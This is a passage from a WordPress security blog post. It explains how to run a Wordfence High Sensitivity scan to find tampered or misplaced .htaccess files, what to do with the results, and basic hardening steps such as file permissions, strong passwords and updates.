    • Finds Files Where They Shouldn’t Be: Most importantly for the “lockdown” attack, the scan will identify suspicious .htaccess files in directories where they don’t belong (like /wp-content/plugins/ or /wp-includes/). WordPress core only has a few .htaccess files in specific locations. Seeing them everywhere else is a massive red flag that Wordfence can detect.

    Step-by-Step: How to Run a High Sensitivity Scan

    Ready to give your site a deep clean? It only takes a few clicks.

    1. Log in to your WordPress dashboard.
    2. In the left-hand menu, go to Wordfence > Scan.
    3. Near the top of the page, click the “Scan Options and Scheduling” button.
    4. You will see a section called “Basic Scan Type Options.” By default, it’s set to “Standard Scan.”
    5. Click on the radio button next to “High Sensitivity.”
    6. Click the “Save Changes” button in the top-right corner.
    7. Navigate back to the main scan page (Wordfence > Scan) and click the “Start New Scan” button.

    Wordfence High Sensitivity scan setting

    The scan will take longer to complete than a standard one. This is normal because it’s being incredibly thorough.

    What to Do After the Scan

    Once the scan is finished, Wordfence will present a results list. It will flag unauthorized changes to your main .htaccess file and may identify other suspicious files. Wordfence will show you exactly what code is suspicious and give you options to repair or delete the files.

    Wordfence scan results showing a modified file

    Important: Before you delete or repair any files, always create a full backup of your website. This ensures you can restore your site if anything goes wrong during the cleanup process.


    Keeping the Hackers Out: Prevention is the Best Cure

    Cleaning up a hacked site is stressful. It’s much better to prevent the hack from happening in the first place. Here are some simple but effective steps to protect your .htaccess file and your entire website: 🛡️

    • Harden File Permissions: Set the permissions for your .htaccess file to 644. This makes the file “read-only” for everyone but you, preventing unauthorized scripts from modifying it.
    • Use Strong Passwords: This is non-negotiable. Use long, unique passwords for your WordPress admin, FTP accounts, and hosting control panel.
    • Keep Everything Updated: Hackers often get in through outdated plugins, themes, or WordPress core. Always update to the latest versions.
    • Use a Security Plugin: Keep Wordfence active. Its firewall will block many attacks before they can reach your site, and its regular scans will alert you to any problems.

    Conclusion: Take Control of Your Website’s Security

    Your .htaccess file may be hidden, but it plays a starring role in your website’s health. Understanding that even “good” code can be used with bad intent is the first step toward true security. Malicious redirects or a total site lockdown can undo all of your hard work, but you don’t have to fight back alone.

    By using powerful tools like the Wordfence High Sensitivity scan, you can turn the tables on hackers. Schedule regular, deep scans of your website to find and eliminate threats before they cause lasting damage. Stay vigilant, stay updated, and let your gatekeeper work for you, not against you.